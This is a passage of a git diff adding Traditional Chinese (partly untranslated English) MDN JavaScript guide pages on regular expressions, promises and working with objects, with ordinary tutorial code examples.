+   <td>Matches a vertical tab (U+000B).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-word" id="special-word" name="special-word"><code>\w</code></a></td>
+   <td>
+    <p>包含數字字母與底線，等同於<code>[A-Za-z0-9_]。</code></p>
+
+    <p>例如： <code>/\w/</code> 符合 'apple'中的 'a' 、'$5.28中的 '5' 以及 '3D' 中的 '3'。</p>
+
+    <p>For example, <code>/\w/</code> matches 'a' in "apple," '5' in "$5.28," and '3' in "3D."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-word" id="special-non-word" name="special-non-word"><code>\W</code></a></td>
+   <td>
+    <p>Matches any non-word character. Equivalent to <code>[^A-Za-z0-9_]</code>.</p>
+
+    <p>For example, <code>/\W/</code> or <code>/[^A-Za-z0-9_]/</code> matches '%' in "50%."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-backreference" id="special-backreference" name="special-backreference"><code>\<em>n</em></code></a></td>
+   <td>
+    <p>Where <em>n</em> is a positive integer, a back reference to the last substring matching the <em>n</em> parenthetical in the regular expression (counting left parentheses).</p>
+
+    <p>For example, <code>/apple(,)\sorange\1/</code> matches 'apple, orange,' in "apple, orange, cherry, peach."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-null" id="special-null" name="special-null"><code>\0</code></a></td>
+   <td>Matches a NULL (U+0000) character. Do not follow this with another digit, because <code>\0&lt;digits&gt;</code> is an octal <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences">escape sequence</a>. Instead use <code>\x00</code>.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-hex-escape" id="special-hex-escape" name="special-hex-escape"><code>\xhh</code></a></td>
+   <td>Matches the character with the code hh (two hexadecimal digits)</td>
+  </tr>
+  <tr>
+   <td><a href="#special-unicode-escape" id="special-unicode-escape" name="special-unicode-escape"><code>\uhhhh</code></a></td>
+   <td>Matches the character with the code hhhh (four hexadecimal digits).</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Escaping user input that is to be treated as a literal string within a regular expression—that would otherwise be mistaken for a special character—can be accomplished by simple replacement:</p>
+
+<pre>function escapeRegExp(string) {
+  return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&amp;'); // $&amp; means the whole matched string
+}
+</pre>
+
+<p>The g after the regular expression is an option or flag that performs a global search, looking in the whole string and returning all matches. It is explained in detail below in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Advanced_searching_with_flags">Advanced Searching With Flags</a>.</p>
+
+<h3 id="使用括號">使用括號 </h3>
+
+<p>Parentheses around any part of the regular expression pattern causes that part of the matched substring to be remembered. Once remembered, the substring can be recalled for other use, as described in {{ web.link("#Using_parenthesized_substring_matches", "Using Parenthesized Substring Matches") }}.</p>
+
+<p>For example, the pattern <code>/Chapter (\d+)\.\d*/</code> illustrates additional escaped and special characters and indicates that part of the pattern should be remembered. It matches precisely the characters 'Chapter ' followed by one or more numeric characters (<code>\d</code> means any numeric character and <code>+</code> means 1 or more times), followed by a decimal point (which in itself is a special character; preceding the decimal point with \ means the pattern must look for the literal character '.'), followed by any numeric character 0 or more times (<code>\d</code> means numeric character, <code>*</code> means 0 or more times). In addition, parentheses are used to remember the first matched numeric characters.</p>
+
+<p>This pattern is found in "Open Chapter 4.3, paragraph 6" and '4' is remembered. The pattern is not found in "Chapter 3 and 4", because that string does not have a period after the '3'.</p>
+
+<p>To match a substring without causing the matched part to be remembered, within the parentheses preface the pattern with <code>?:</code>. For example, <code>(?:\d+)</code> matches one or more numeric characters but does not remember the matched characters.</p>
+
+<h2 id="運用正規表達式">運用正規表達式</h2>
+
+<p>Regular expressions are used with the <code>RegExp</code> methods <code>test</code> and <code>exec</code> and with the <code>String</code> methods <code>match</code>, <code>replace</code>, <code>search</code>, and <code>split</code>. These methods are explained in detail in the <a href="/en-US/docs/Web/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">JavaScript reference</a>.</p>
+
+<table class="standard-table">
+ <caption>Methods that use regular expressions</caption>
+ <thead>
+  <tr>
+   <th scope="col">Method</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("RegExp.exec", "exec")}}</td>
+   <td>A <code>RegExp</code> method that executes a search for a match in a string. It returns an array of information or null on a mismatch.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.test", "test")}}</td>
+   <td>A <code>RegExp</code> method that tests for a match in a string. It returns true or false.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.match", "match")}}</td>
+   <td>A <code>String</code> method that executes a search for a match in a string. It returns an array of information or null on a mismatch.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.search", "search")}}</td>
+   <td>A <code>String</code> method that tests for a match in a string. It returns the index of the match, or -1 if the search fails.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.replace", "replace")}}</td>
+   <td>A <code>String</code> method that executes a search for a match in a string, and replaces the matched substring with a replacement substring.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.split", "split")}}</td>
+   <td>A <code>String</code> method that uses a regular expression or a fixed string to break a string into an array of substrings.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>When you want to know whether a pattern is found in a string, use the <code>test</code> or <code>search</code> method; for more information (but slower execution) use the <code>exec</code> or <code>match</code> methods. If you use <code>exec</code> or <code>match</code> and if the match succeeds, these methods return an array and update properties of the associated regular expression object and also of the predefined regular expression object, <code>RegExp</code>. If the match fails, the <code>exec</code> method returns <code>null</code> (which coerces to <code>false</code>).</p>
+
+<p>In the following example, the script uses the <code>exec</code> method to find a match in a string.</p>
+
+<pre>var myRe = /d(b+)d/g;
+var myArray = myRe.exec('cdbbdbsbz');
+</pre>
+
+<p>If you do not need to access the properties of the regular expression, an alternative way of creating <code>myArray</code> is with this script:</p>
+
+<pre>var myArray = /d(b+)d/g.exec('cdbbdbsbz'); // similar to "cdbbdbsbz".match(/d(b+)d/g); however,
+    // the latter outputs Array [ "dbbd" ], while
+    // /d(b+)d/g.exec('cdbbdbsbz') outputs Array [ "dbbd", "bb" ].
+    // See below for further info (CTRL+F "The behavior associated with the".)</pre>
+
+<p>If you want to construct the regular expression from a string, yet another alternative is this script:</p>
+
+<pre>var myRe = new RegExp('d(b+)d', 'g');
+var myArray = myRe.exec('cdbbdbsbz');
+</pre>
+
+<p>With these scripts, the match succeeds and returns the array and updates the properties shown in the following table.</p>
+
+<table class="standard-table">
+ <caption>Results of regular expression execution.</caption>
+ <thead>
+  <tr>
+   <th scope="col">物件</th>
+   <th scope="col">Property or index</th>
+   <th scope="col">說明</th>
+   <th scope="col">範例</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td rowspan="4"><code>myArray</code></td>
+   <td></td>
+   <td>The matched string and all remembered substrings.</td>
+   <td><code>['dbbd', 'bb', index: 1, input: 'cdbbdbsbz']</code></td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>The 0-based index of the match in the input string.</td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td><code>input</code></td>
+   <td>The original string.</td>
+   <td><code>"cdbbdbsbz"</code></td>
+  </tr>
+  <tr>
+   <td><code>[0]</code></td>
+   <td>The last matched characters.</td>
+   <td><code>"dbbd"</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2"><code>myRe</code></td>
+   <td><code>lastIndex</code></td>
+   <td>The index at which to start the next match. (This property is set only if the regular expression uses the g option, described in {{ web.link("#Advanced_searching_with_flags", "Advanced Searching With Flags") }}.)</td>
+   <td><code>5</code></td>
+  </tr>
+  <tr>
+   <td><code>source</code></td>
+   <td>The text of the pattern. Updated at the time that the regular expression is created, not executed.</td>
+   <td><code>"d(b+)d"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>As shown in the second form of this example, you can use a regular expression created with an object initializer without assigning it to a variable. If you do, however, every occurrence is a new regular expression. For this reason, if you use this form without assigning it to a variable, you cannot subsequently access the properties of that regular expression. For example, assume you have this script:</p>
+
+<pre>var myRe = /d(b+)d/g;
+var myArray = myRe.exec('cdbbdbsbz');
+console.log('The value of lastIndex is ' + myRe.lastIndex);
+
+// "The value of lastIndex is 5"
+</pre>
+
+<p>However, if you have this script:</p>
+
+<pre>var myArray = /d(b+)d/g.exec('cdbbdbsbz');
+console.log('The value of lastIndex is ' + /d(b+)d/g.lastIndex);
+
+// "The value of lastIndex is 0"
+</pre>
+
+<p>The occurrences of <code>/d(b+)d/g</code> in the two statements are different regular expression objects and hence have different values for their <code>lastIndex</code> property. If you need to access the properties of a regular expression created with an object initializer, you should first assign it to a variable.</p>
+
+<h3 id="Using_Parenthesized_Substring_Matches">Using Parenthesized Substring Matches</h3>
+
+<p>Including parentheses in a regular expression pattern causes the corresponding submatch to be remembered. For example, <code>/a(b)c/</code> matches the characters 'abc' and remembers 'b'. To recall these parenthesized substring matches, use the <code>Array</code> elements <code>[1]</code>, ..., <code>[n]</code>.</p>
+
+<p>The number of possible parenthesized substrings is unlimited. The returned array holds all that were found. The following examples illustrate how to use parenthesized substring matches.</p>
+
+<p>下面這個 script 以 {{jsxref("String.replace", "replace()")}} 方法移轉字串位置。對於要被置換的文字內容，以 <code>$1</code> 和 <code>$2</code> 來代表先前 re 這個變數裡面，找出來綑綁且照順序來表示兩個子字串。</p>
+
+<pre>var re = /(\w+)\s(\w+)/;
+var str = 'John Smith';
+var newstr = str.replace(re, '$2, $1');
+console.log(newstr);
+
+// "Smith, John"
+</pre>
+
+<h3 id="Advanced_Searching_With_Flags">Advanced Searching With Flags</h3>
+
+<p>Regular expressions have five optional flags that allow for global and case insensitive searching. These flags can be used separately or together in any order, and are included as part of the regular expression.</p>
+
+<table class="standard-table">
+ <caption>Regular expression flags</caption>
+ <thead>
+  <tr>
+   <th scope="col">Flag</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>g</code></td>
+   <td>Global search.</td>
+  </tr>
+  <tr>
+   <td>i</td>
+   <td>Case-insensitive search.</td>
+  </tr>
+  <tr>
+   <td>m</td>
+   <td>Multi-line search.</td>
+  </tr>
+  <tr>
+   <td>u</td>
+   <td>unicode; treat a pattern as a sequence of unicode code points</td>
+  </tr>
+  <tr>
+   <td>y</td>
+   <td>Perform a "sticky" search that matches starting at the current position in the target string. See {{jsxref("RegExp.sticky", "sticky")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>To include a flag with the regular expression, use this syntax:</p>
+
+<pre>var re = /pattern/flags;
+</pre>
+
+<p>or</p>
+
+<pre>var re = new RegExp('pattern', 'flags');
+</pre>
+
+<p>Note that the flags are an integral part of a regular expression. They cannot be added or removed later.</p>
+
+<p>For example, <code>re = /\w+\s/g</code> creates a regular expression that looks for one or more characters followed by a space, and it looks for this combination throughout the string.</p>
+
+<pre>var re = /\w+\s/g;
+var str = 'fee fi fo fum';
+var myArray = str.match(re);
+console.log(myArray);
+
+// ["fee ", "fi ", "fo "]
+</pre>
+
+<p>You could replace the line:</p>
+
+<pre>var re = /\w+\s/g;
+</pre>
+
+<p>with:</p>
+
+<pre>var re = new RegExp('\\w+\\s', 'g');
+</pre>
+
+<p>and get the same result.</p>
+
+<p>The behavior associated with the '<strong><code>g</code></strong>' flag is different when the <code>.exec()</code> method is used.  (The roles of "class" and "argument" get reversed: In the case of <code>.match()</code>, the string class (or data type) owns the method and the regular expression is just an argument, while in the case of <code>.exec()</code>, it is the regular expression that owns the method, with the string being the argument.  Contrast <em><code>str.match(re)</code></em> versus <em><code>re.exec(str)</code></em>.)  The '<code><strong>g</strong></code>' flag is used with the <strong><code>.exec()</code></strong> method to get iterative progression.</p>
+
+<pre>var xArray; while(xArray = re.exec(str)) console.log(xArray);
+// produces:
+// ["fee ", index: 0, input: "fee fi fo fum"]
+// ["fi ", index: 4, input: "fee fi fo fum"]
+// ["fo ", index: 7, input: "fee fi fo fum"]</pre>
+
+<p>The <code>m</code> flag is used to specify that a multiline input string should be treated as multiple lines. If the <code>m</code> flag is used, <code>^</code> and <code>$</code> match at the start or end of any line within the input string instead of the start or end of the entire string.</p>
+
+<h2 id="範例">範例</h2>
+
+<p>The following examples show some uses of regular expressions.</p>
+
+<h3 id="Changing_the_order_in_an_input_string">Changing the order in an input string</h3>
+
+<p>The following example illustrates the formation of regular expressions and the use of <code>string.split()</code> and <code>string.replace()</code>. It cleans a roughly formatted input string containing names (first name last) separated by blanks, tabs and exactly one semicolon. Finally, it reverses the name order (last name first) and sorts the list.</p>
+
+<pre>// The name string contains multiple spaces and tabs,
+// and may have multiple spaces between first and last names.
+var names = 'Orange Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand ';
+
+var output = ['---------- Original String\n', names + '\n'];
+
+// Prepare two regular expression patterns and array storage.
+// Split the string into array elements.
+
+// pattern: possible white space then semicolon then possible white space
+var pattern = /\s*;\s*/;
+
+// Break the string into pieces separated by the pattern above and
+// store the pieces in an array called nameList
+var nameList = names.split(pattern);
+
+// new pattern: one or more characters then spaces then characters.
+// Use parentheses to "memorize" portions of the pattern.
+// The memorized portions are referred to later.
+pattern = /(\w+)\s+(\w+)/;
+
+// Below is the new array for holding names being processed.
+var bySurnameList = [];
+
+// Display the name array and populate the new array
+// with comma-separated names, last first.
+//
+// The replace method removes anything matching the pattern
+// and replaces it with the memorized string—the second memorized portion
+// followed by a comma, a space and the first memorized portion.
+//
+// The variables $1 and $2 refer to the portions
+// memorized while matching the pattern.
+
+output.push('---------- After Split by Regular Expression');
+
+var i, len;
+for (i = 0, len = nameList.length; i &lt; len; i++) {
+  output.push(nameList[i]);
+  bySurnameList[i] = nameList[i].replace(pattern, '$2, $1');
+}
+
+// Display the new array.
+output.push('---------- Names Reversed');
+for (i = 0, len = bySurnameList.length; i &lt; len; i++) {
+  output.push(bySurnameList[i]);
+}
+
+// Sort by last name, then display the sorted array.
+bySurnameList.sort();
+output.push('---------- Sorted');
+for (i = 0, len = bySurnameList.length; i &lt; len; i++) {
+  output.push(bySurnameList[i]);
+}
+
+output.push('---------- End');
+
+console.log(output.join('\n'));
+</pre>
+
+<h3 id="使用特殊字元驗證輸入">使用特殊字元驗證輸入</h3>
+
+<p>In the following example, the user is expected to enter a phone number. When the user presses the "Check" button, the script checks the validity of the number. If the number is valid (matches the character sequence specified by the regular expression), the script shows a message thanking the user and confirming the number. If the number is invalid, the script informs the user that the phone number is not valid.</p>
+
+<p>Within non-capturing parentheses <code>(?:</code> , the regular expression looks for three numeric characters <code>\d{3}</code> OR <code>|</code> a left parenthesis <code>\(</code> followed by three digits<code> \d{3}</code>, followed by a close parenthesis <code>\)</code>, (end non-capturing parenthesis <code>)</code>), followed by one dash, forward slash, or decimal point and when found, remember the character <code>([-\/\.])</code>, followed by three digits <code>\d{3}</code>, followed by the remembered match of a dash, forward slash, or decimal point <code>\1</code>, followed by four digits <code>\d{4}</code>.</p>
+
+<p>The <code>Change</code> event activated when the user presses Enter sets the value of <code>RegExp.input</code>.</p>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;
+    &lt;meta http-equiv="Content-Script-Type" content="text/javascript"&gt;
+    &lt;script type="text/javascript"&gt;
+      var re = /(?:\d{3}|\(\d{3}\))([-\/\.])\d{3}\1\d{4}/;
+      function testInfo(phoneInput) {
+        var OK = re.exec(phoneInput.value);
+        if (!OK)
+          window.alert(phoneInput.value + ' isn\'t a phone number with area code!');
+        else
+          window.alert('Thanks, your phone number is ' + OK[0]);
+      }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Enter your phone number (with area code) and then click "Check".
+        &lt;br&gt;The expected format is like ###-###-####.&lt;/p&gt;
+    &lt;form action="#"&gt;
+      &lt;input id="phone"&gt;&lt;button onclick="testInfo(document.getElementById('phone'));"&gt;Check&lt;/button&gt;
+    &lt;/form&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}</p>
diff --git a/files/zh-tw/web/javascript/guide/using_promises/index.html b/files/zh-tw/web/javascript/guide/using_promises/index.html
new file mode 100644
index 0000000000..1df6376ffd
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/using_promises/index.html
@@ -0,0 +1,256 @@
+---
+title: 使用 Promise
+slug: Web/JavaScript/Guide/Using_promises
+translation_of: Web/JavaScript/Guide/Using_promises
+---
+<div>{{jsSidebar("JavaScript Guide")}}</div>
+
+<p>{{jsxref("Promise")}} 是一個表示非同步運算的最終完成或失敗的物件。由於多數人使用預建立的 Promise，這個導覽會先講解回傳 Promise 的使用方式，之後再介紹如何建立。</p>
+
+<p>基本上，一個 Promise 是一個根據附加給他的 Callback 回傳的物件，以取代傳遞 Callback 到這個函數。</p>
+
+<p>舉例來說，下方的範例若用舊方式應該會有兩個 Callback，並根據成功或失敗來決定使用哪個：</p>
+
+<pre class="brush: js line-numbers  language-js">function successCallback(result) {
+  console.log("It succeeded with " + result);
+}
+
+function failureCallback(error) {
+  console.log("It failed with " + error);
+}
+
+doSomething(successCallback, failureCallback);
+</pre>
+
+<p>而新作法會回傳一個 Promise，這樣你就可以附加 Callback：</p>
+
+<pre class="brush: js line-numbers  language-js">let promise = doSomething();
+promise.then(successCallback, failureCallback);</pre>
+
+<p>再簡單點：</p>
+
+<pre class="brush: js line-numbers  language-js">doSomething().then(successCallback, failureCallback);</pre>
+
+<p>我們稱之為 <em>非同步函數呼叫</em>。這個做法有許多好處，我們接下來看看。</p>
+
+<h2 id="保證">保證</h2>
+
+<p>不如舊做法，一個 Promise 有這些保證：</p>
+
+<ul>
+ <li>Callback 不會在<a href="/zh-TW/docs/Web/JavaScript/EventLoop#Run-to-completion">當次的迴圈運行結束</a>前呼叫。</li>
+ <li>Callback 用 .then 添加，在非同步運算結束<em>後</em>呼叫，像前面那樣。</li>
+ <li>複 Callback 可以透過重複呼叫 .then 達成。</li>
+</ul>
+
+<p>但 Promise 主要的立即好處是串連。</p>
+
+<h2 id="串連">串連</h2>
+
+<p>有個常見的需求是依序呼叫兩個以上的非同步函數，我們稱之為建立 <em>Promise 鏈</em>。</p>
+
+<p>看看魔術：<code>then</code> 函數回傳一個新的 Promise，不同於原本。</p>
+
+<pre class="brush: js">let promise = doSomething();
+let promise2 = promise.then(successCallback, failureCallback);
+</pre>
+
+<p>或</p>
+
+<pre class="brush: js">let promise2 = doSomething().then(successCallback, failureCallback);
+</pre>
+
+<p>第二個 Promise 不只代表 <code>doSomething()</code> 完成，還有<code>successCallback</code> 或 <code>failureCallback</code> ，這兩個非同步函數回傳另一個 Promise。如此一來，任何 Callback 附加給 <code>promise2</code> 會被排在 <code>successCallback</code> 或<code>failureCallback</code> 之後。</p>
+
+<p>基本上，每個 Promise 代表著鏈中另外一個非同步函數的完成。</p>
+
+<p>在古時候，多個非同步函數會使用 Callback 方式，導致波動拳問題：</p>
+
+<p><em>（原文 Pyramid of Doom 查無中文翻譯，以較常見之波動拳取代）</em></p>
+
+<pre class="brush: js">doSomething(function(result) {
+  doSomethingElse(result, function(newResult) {
+    doThirdThing(newResult, function(finalResult) {
+      console.log('Got the final result: ' + finalResult);
+    }, failureCallback);
+  }, failureCallback);
+}, failureCallback);
+</pre>
+
+<p>有了新方法，我們附加 Callback 到回傳的 Promise 上，來製造<em> Promise 鏈</em>：</p>
+
+<pre class="brush: js">doSomething().then(function(result) {
+  return doSomethingElse(result);
+})
+.then(function(newResult) {
+  return doThirdThing(newResult);
+})
+.then(function(finalResult) {
+  console.log('Got the final result: ' + finalResult);
+})
+.catch(failureCallback);
+</pre>
+
+<p><code>then</code> 的函數是選用的，以及 <code>catch(failureCallback)</code> 是 <code>then(null, failureCallback)</code> 的簡寫。你也許會想用<a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/Arrow_functions">箭頭函數</a>取代：</p>
+
+<pre class="brush: js">doSomething()
+.then(result =&gt; doSomethingElse(result))
+.then(newResult =&gt; doThirdThing(newResult))
+.then(finalResult =&gt; {
+  console.log(`Got the final result: ${finalResult}`);
+})
+.catch(failureCallback);
+</pre>
+
+<p><strong>注意：</strong>永遠要回傳結果，否則 Callback 不會獲得前一個 Promise 的結果。</p>
+
+<h3 id="獲錯後串接">獲錯後串接</h3>
+
+<p>失敗<em>後</em>的串接是可行的，也就是說 <code>catch</code> 會非常好用，即使鏈中出錯。看看這個範例：</p>
+
+<pre class="brush: js">new Promise((resolve, reject) =&gt; {
+    console.log('Initial');
+
+    resolve();
+})
+.then(() =&gt; {
+    throw new Error('Something failed');
+
+    console.log('Do this');
+})
+.catch(() =&gt; {
+    console.log('Do that');
+})
+.then(() =&gt; {
+    console.log('Do this whatever happened before');
+});
+</pre>
+
+<p>他會輸出：</p>
+
+<pre>Initial
+Do that
+Do this whatever happened before
+</pre>
+
+<p>注意「Do this」沒有被輸出，因為「Something failed」錯誤導致拒絕。</p>
+
+<h2 id="錯誤傳遞">錯誤傳遞</h2>
+
+<p>在波動拳狀況中，你可能會看到三次 <code>failureCallback</code> ，在 Promise 鏈中只需要在尾端使用一次：</p>
+
+<pre class="brush: js">doSomething()
+.then(result =&gt; doSomethingElse(result))
+.then(newResult =&gt; doThirdThing(newResult))
+.then(finalResult =&gt; console.log(`Got the final result: ${finalResult}`))
+.catch(failureCallback);
+</pre>
+
+<p>基本上，一個 Promise 鏈遇到錯誤時會往下尋找 Catch 處理器。這是經過模組化的非同步程式：</p>
+
+<pre class="brush: js">try {
+  let result = syncDoSomething();
+  let newResult = syncDoSomethingElse(result);
+  let finalResult = syncDoThirdThing(newResult);
+  console.log(`Got the final result: ${finalResult}`);
+} catch(error) {
+  failureCallback(error);
+}
+</pre>
+
+<p>在 ECMAScript 2017 中，在有 <a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/async_function"><code>async</code>/<code>await</code></a> 語法糖的同步程式達到高峰：</p>
+
+<pre class="brush: js">async function foo() {
+  try {
+    let result = await doSomething();
+    let newResult = await doSomethingElse(result);
+    let finalResult = await doThirdThing(newResult);
+    console.log(`Got the final result: ${finalResult}`);
+  } catch(error) {
+    failureCallback(error);
+  }
+}
+</pre>
+
+<p>這基於 Promise，例如 <code>doSomething()</code>和之前一樣。你可以閱讀在<a href="https://developers.google.com/web/fundamentals/getting-started/primers/async-functions">這裡</a>閱讀更多。</p>
+
+<p>Promise 藉由捕捉所有錯誤，包含例外和程式錯誤，解決了 Callback 地獄的缺點。這是非同步運算的基本特性。</p>
+
+<h2 id="在舊有_API_上建立_Promise">在舊有 API 上建立 Promise</h2>
+
+<p>{{jsxref("Promise")}} 可以透過建構子建立。所以用建構子包裹舊的 API即可。</p>
+
+<p>在理想情況，所有非同步函數都會回傳 Promise，然而許多 API 仍然用舊的方式來傳遞成功、失敗 Callback，有個典型的例子是{{domxref("WindowTimers.setTimeout", "setTimeout()")}} ：</p>
+
+<pre class="brush: js">setTimeout(() =&gt; saySomething("10 seconds passed"), 10000);
+</pre>
+
+<p>混合古代 Callback 和 Promise 是有問題的。如果 <code>saySomething</code> 失敗或有程式錯誤，那不會有任何錯誤被捕捉。</p>
+
+<p>幸運地，我們可以用 Promise 包裹他，最好盡可能的在最底層包裹，並永遠不要再直接呼叫他們：</p>
+
+<pre class="brush: js">const wait = ms =&gt; new Promise(resolve =&gt; setTimeout(resolve, ms));
+
+wait(10000).then(() =&gt; saySomething("10 seconds")).catch(failureCallback);
+</pre>
+
+<p>基本上，Promise 建構子需要一個運作函數來正規地處理或拒絕 Promise。但因為 <code>setTimeout</code> 不會失敗，所以我們捨棄 reject。</p>
+
+<h2 id="組合">組合</h2>
+
+<p>{{jsxref("Promise.resolve()")}} 和 {{jsxref("Promise.reject()")}} 是用來正規地建立已經處理或拒絕的 Promise。他們在某些情況特別有用。</p>
+
+<p>{{jsxref("Promise.all()")}} 和 {{jsxref("Promise.race()")}} 是兩個組合工具用於使 Promise 平行運作。</p>
+
+<p>連續關聯是可行的，這是極簡 JavaScript 範例：</p>
+
+<pre class="brush: js">[func1, func2].reduce((p, f) =&gt; p.then(f), Promise.resolve());
+</pre>
+
+<p>基本上，我們摺疊（Reduce）一個非同步函數陣列成一個 Promise 鏈：<code>Promise.resolve().then(func1).then(func2);</code></p>
+
+<p>這可以用可重用的構成函數完成，通常用函數式編程：</p>
+
+<pre class="brush: js">let applyAsync = (acc,val) =&gt; acc.then(val);
+let composeAsync = (...funcs) =&gt; x =&gt; funcs.reduce(applyAsync, Promise.resolve(x));</pre>
+
+<p><code>composeAsync</code> 接受任何數量的函數作為參數，並回傳一個接受一個初始值用來傳給組合的新函數。這個好處是無論其中函數是非同步或否，都會保證用正確的順序執行：</p>
+
+<pre class="brush: js">let transformData = composeAsync(func1, asyncFunc1, asyncFunc2, func2);
+transformData(data);
+</pre>
+
+<p>ECMAScript 2017 中連續組合利用 async/await 更簡單：</p>
+
+<pre class="brush: js">for (let f of [func1, func2]) {
+  await f();
+}
+</pre>
+
+<h2 id="計時">計時</h2>
+
+<p>為了避免意外，傳給 <code>then</code> 的函數不會被同步地呼叫，即使是完成的 Promise：</p>
+
+<pre class="brush: js">Promise.resolve().then(() =&gt; console.log(2));
+console.log(1); // 1, 2
+</pre>
+
+<p>被傳入的函數會被放在子任務佇列而非立即執行，因此他會在當前的事件迴圈結束、佇列清空時執行，例如：</p>
+
+<pre class="brush: js">const wait = ms =&gt; new Promise(resolve =&gt; setTimeout(resolve, ms));
+
+wait().then(() =&gt; console.log(4));
+Promise.resolve().then(() =&gt; console.log(2)).then(() =&gt; console.log(3));
+console.log(1); // 1, 2, 3, 4
+</pre>
+
+<h2 id="看更多">看更多</h2>
+
+<ul>
+ <li>{{jsxref("Promise.then()")}}</li>
+ <li><a href="http://promisesaplus.com/">Promises/A+ 特色</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/promises-of-promise-part-1-53f769245a53">Venkatraman.R - JS Promise (Part 1, Basics)</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/js-promise-part-2-q-js-when-js-and-rsvp-js-af596232525c#.dzlqh6ski">Venkatraman.R - JS Promise (Part 2 - Using Q.js, When.js and RSVP.js)</a></li>
+ <li><a href="https://tech.io/playgrounds/11107/tools-for-promises-unittesting/introduction">Venkatraman.R - Tools for Promises Unit Testing</a></li>
+ <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Nolan Lawson: We have a problem with promises — Common mistakes with promises</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/guide/working_with_objects/index.html b/files/zh-tw/web/javascript/guide/working_with_objects/index.html
new file mode 100644
index 0000000000..823f9c1e4b
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/working_with_objects/index.html
@@ -0,0 +1,499 @@
+---
+title: 物件的使用
+slug: Web/JavaScript/Guide/Working_with_Objects
+translation_of: Web/JavaScript/Guide/Working_with_Objects
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Details_of_the_Object_Model")}}</div>
+
+<p class="summary">JavaScript is designed on a simple object-based paradigm. An object is a collection of properties, and a property is an association between a name (or <em>key</em>) and a value. A property's value can be a function, in which case the property is known as a method. In addition to objects that are predefined in the browser, you can define your own objects. This chapter describes how to use objects, properties, functions, and methods, and how to create your own objects.</p>
+
+<h2 id="物件概觀">"物件"概觀</h2>
+
+<p>就如同其他程式語言一般，JacaScript裡頭的"物件"可以與真實生活中的物件做類比。其概念可以用生活中有形的物體來做理解。</p>
+
+<p>在JavaScript裡，"物件"是一個擁有自己的屬性、型別、獨立的實體。這裡我們以杯子舉例：我們可以從顏色、設計、重量、材質等方面來描述他的屬性。同樣的，我們也可以用各種屬性來描述JavaScript中某個物體的特性。</p>
+
+<h2 id="物件與屬性">物件與屬性</h2>
+
+<p>JavaScript的物件有其關聯的屬性。物件的屬性可以用附著在物件上的變數來描述。</p>
+
+<p> Object properties are basically the same as ordinary JavaScript variables, except for the attachment to objects. The properties of an object define the characteristics of the object. You access the properties of an object with a simple dot-notation:</p>
+
+<pre class="brush: js">objectName.propertyName
+</pre>
+
+<p>Like all JavaScript variables, both the object name (which could be a normal variable) and property name are case sensitive. You can define a property by assigning it a value. For example, let's create an object named <code>myCar</code> and give it properties named <code>make</code>, <code>model</code>, and <code>year</code> as follows:</p>
+
+<pre class="brush: js">var myCar = new Object();
+myCar.make = 'Ford';
+myCar.model = 'Mustang';
+myCar.year = 1969;
+</pre>
+
+<p>Unassigned properties of an object are {{jsxref("undefined")}} (and not {{jsxref("null")}}).</p>
+
+<pre class="brush: js">myCar.color; // undefined</pre>
+
+<p>Properties of JavaScript objects can also be accessed or set using a bracket notation (for more details see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">property accessors</a>). Objects are sometimes called <em>associative arrays</em>, since each property is associated with a string value that can be used to access it. So, for example, you could access the properties of the <code>myCar</code> object as follows:</p>
+
+<pre class="brush: js">myCar['make'] = 'Ford';
+myCar['model'] = 'Mustang';
+myCar['year'] = 1969;
+</pre>
+
+<p>An object property name can be any valid JavaScript string, or anything that can be converted to a string, including the empty string. However, any property name that is not a valid JavaScript identifier (for example, a property name that has a space or a hyphen, or that starts with a number) can only be accessed using the square bracket notation. This notation is also very useful when property names are to be dynamically determined (when the property name is not determined until runtime). Examples are as follows:</p>
+
+<pre class="brush: js">// four variables are created and assigned in a single go,
+// separated by commas
